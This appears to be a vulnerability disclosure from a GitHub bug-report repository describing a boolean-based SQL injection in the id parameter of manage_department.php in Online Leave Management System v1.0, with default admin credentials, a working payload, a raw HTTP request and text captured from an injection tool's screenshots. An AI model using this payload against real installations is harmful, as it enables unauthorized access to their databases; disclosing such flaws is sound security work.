

main

...

bug\_report / vendors / oretnom23 / online-leave-management-system / SQLi-1.md



GGMMNN Update SQLi-1.md

History

1 contributor

37 lines (24 sloc) | 1.3 KB

...

# Online Leave Management System v1.0 by oretnom23 has SQL injection

BUG\_Author: Zhang Huaiyu

Login account: admin/admin123 (Super Admin account)

vendors: <https://www.sourcecodester.com/php/14910/online-leave-management-system-php-free-source-code.html>

The program is built using the xampp-php8.1 version

Vulnerability File: /leave\_system/admin/maintenance/manage\_department.php?id

Vulnerability location: /leave\_system/admin/maintenance/manage\_department.php?id=,id

dbname=leave\_db,length=8

[+] Payload: /leave\_system/admin/maintenance/manage\_department.php?id=1%27%20and%20length(database())%20=9--+ // Leak place ---> id

GET /leave\_system/admin/maintenance/manage\_department.php?id=1%27%20and%20length(dat

Host: 192.168.1.19

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
DNT: 1  
Cookie: PHPSESSID=a58hbbkeelngug4ek0dssb0rb5  
Connection: close



length=8

INI

SQL BASICS\* UNION BASED\* ERROR/DOUBLE QUERY\* TOOLS\* WAF BYPASS\* ENCODING\* HTML\* EN

Load URL

Split URL

Execute

192.168.1.19/leave\_system/admin/maintenance/manage\_department.php?id=1' and length(database()) =8|--+

☐ Post data

☐ Referrer

☒ 0xHEX

☒ %URL

☒ BASE64

Insert string to repla

Name

HR Department

Human Resource Department

Description

length=9

INI

SQL BASICS\* UNION BASED\* ERROR/DOUBLE QUERY\* TOOLS\* WAF BYPASS\* ENCODING\* HTML\* EN

Load URL

Split URL

Execute

192.168.1.19/leave\_system/admin/maintenance/manage\_department.php?id=1' and length(database()) =9|--+

☐ Post data

☐ Referrer

☒ 0xHEX

☒ %URL

☒ BASE64

Insert string to replace

Insert replaci

Name

Description